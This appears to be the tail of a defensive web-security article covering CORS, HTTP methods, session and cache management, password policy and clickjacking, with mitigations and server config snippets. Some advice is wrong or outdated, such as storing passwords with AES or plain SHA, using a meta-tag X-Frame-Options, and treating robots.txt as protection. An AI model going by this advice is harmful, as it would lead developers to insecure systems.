Cross-Origin Resource Sharing, commonly referred to as CORS, is a technology that allows a domain to define a policy for its resources to be accessed by a web page hosted on a different domain using cross domain XML HTTP Requests (XHR). Historically, the browser restricts cross domain XHR requests to abide by the same origin policy. At its basic form, the same origin policy sets the script execution scope to the resources available on the current domain and prohibits any communication to domains outside this scope. While CORS is supported on all major browsers, it also requires that the domain correctly defines the CORS policy in order to have its resources shared with another domain. These restrictions are managed by access policies typically included in specialized response headers, such as:

Access-Control-Allow-Origin

Access-Control-Allow-Headers

Access-Control-Allow-Methods

A domain includes a list of domains that are allowed to make cross domain requests to shared resources in Access-Control-Allow-Origin header. This header can have either list of domains or a wildcard character (“*”) to allow all access. Having a wildcard is considered overly permissive policy.

Impact:

An overly permissive CORS policy can allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks. It can open possibilities for entire domain compromise. For example, let’s say a Resource is located on a private intranet and a universal access policy is created with the intent that only other intranet domains can reach it. Subsequently, an internal employee browses to an Internet resource that includes a malicious embedded JavaScript that enumerates the private resource and enables external accessibility; effectively exposing it to the Internet. If the resource discloses any sensitive information, this attack can quickly escalate into an unintentional breach of sensitive information.

Mitigation:

Access control-allow-Methods : GET, POST

The Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the standard today) defines the following eight methods:

 HEAD,GET,POST,PUT,DELETE,TRACE,OPTIONS,CONNECT

More specifically, the methods that should be disabled are the following:

 PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository.

 DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack.

 CONNECT: This method could allow a client to use the web server as a proxy.

 TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman

An example of IIS server configuration for listing domains the application is allowed to communicate with

<configuration>

<system.webServer>

<httpProtocol>

<customHeaders>

<add name="Access-Control-Allow-Origin" value="www.trusted.com" />

</customHeaders>

</httpProtocol>

</system.webServer>

</configuration>

Direct access to particular pages of web application should be discarded:

.html path file can be open anywhere in other tab and whole information display.

Path to config file is if known, then it can be used to get all the sensitive information

Mitigation:

Never allow internal pages to access without authentication.

Local storage no sensitive information should be stored.

  1. Absence of Robot.txt file :Robot.txt file is used to prevent search engine to search directory of application or any page in site. That are not intended for public usage. It’s a generic vulnerability that internal pages and directories should not be accessible

 

Insecure cache management and session management:

Session management refers to the process of securely handling multiple requests to a web-based application or service from a single user or entity. Websites and browsers use HTTP to communicate, and a session is a series of HTTP requests and transactions initiated by the same user.  Typically, a session is started when a user authenticates their identity using a password or another authentication protocol. Session management involves the sharing of secrets with authenticated users, and as such, secure cryptographic network communications are essential to maintaining session management security.

Here is once user is logout, then on next tab if same URL is given again with all params in URL then without asking for user id and password it is logged in. When user authentication and session management is not correctly configured, attackers may be able to compromise passwords, session tokens or keys to gain access to user’s accounts and assume their identities.

Insecure caching policies could allow an attacker to conduct content spoofing or information theft attacks. While content transmitted over an SSL/TLS channel is expected to guarantee confidentiality, administrators must nonetheless ensure that caching of sensitive content is disabled unless absolutely needed.

When user click on Logout button and click on back button then it takes to previous active session and you can perform any action

Add security header: Cache control header

“Cache-control : no-store”

Cache is added in browser history. As u logout session id should be invalided or set cache control in security header à must-re-validate so that the application will forbid the browser from storing the data

Weak Password Policy:-

  1. Pages doesn’t include special character, number and specific length

  2. No password reset

  3. Application not implemented account lock out which may lead to Brute force attack.

  4. Dictionary Attack: Typically, a guessing attack which uses precompiled list of options. Rather than trying every option, only try complete options which are likely to work.

5. Rainbow table attacks form a point on the spectrum of the space-time trade-off that occurs in exhaustive attacks. Traditional brute force attacks store no precomputed data and compute each hash at run time using minimal space and taking a long time

Recommendation: -

1 password length : Min 8 character

2. password complexity : 3 out “Character need to set (uppercase, lowercase, number, symbol)

3. password history : Previous 24 password remembered

4. Account lockout : Lockout for 30 mins after 6 failed attempts

5. password expiry: 75 days

6. password storage : Use encryption algorithms such as AES-256,AES-128 or hashing algorithms such as SHA-224,SHA-256,SHA-384,SHA

Click jacking by Intruder on any website:

In this vulnerability attacker can create one invisible iframe over genuine website and can get user’s credentials as he will think he is entering on genuine website but actually details would go in iframe as placed by attacker.

Click jacking can be implemented by: placing URL in one notepad file and then running this .html file in any browser tab.

 

Mitigation:

Using X-Frame-Options header will be the best solution for this vulnerability, the header is having the option DENY, SAMEORIGIN, ALLOW-FROM domain.

The applications are used with the “<meta http-equiv=“X-Frame-Option” Content=“DENY”>” and for php“<?php header(‘X-Frame-Options: DENY’); ?>”to block the accessing of application within iframe, different development environment have code level options to add the X-Frame-Options header and

Server is configured with enabling the X-Frame-Options, such as

  • For Apache “Header always append X-Frame-Options SAMEORIGIN”

  • For Nginx “add_header x-frame-options “SAMEORIGIN” always;”

  • For IIS server in web.config file

  <add name=”X-Frame-Options” value=”SAMEORIGIN” />

 

CONCLUSION

This paper has elaborately discussed on 20 security vulnerabilities that can come as result if dynamic scan is performed on that web application by using various security scanning tools. These security vulnerabilities can pose to be a major risk to any website running for client and dealing with multiple transactions each day. This paper has clearly highlighted the security threats present in any web site can be mitigated by the recommended approaches and website can be made very less vulnerable to security hacks leading to compromise of client’s sensitive information. If we become successful in implementation of fixes to security vulnerabilities then we would be able to create a security guard on our web application that can withstand for multiple normal level malicious attacks or hacks going on in market these days and we will be able to meet service level agreement that are stated to meet best security standards.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

© 2023 by Train of Thoughts. Proudly created with Wix.com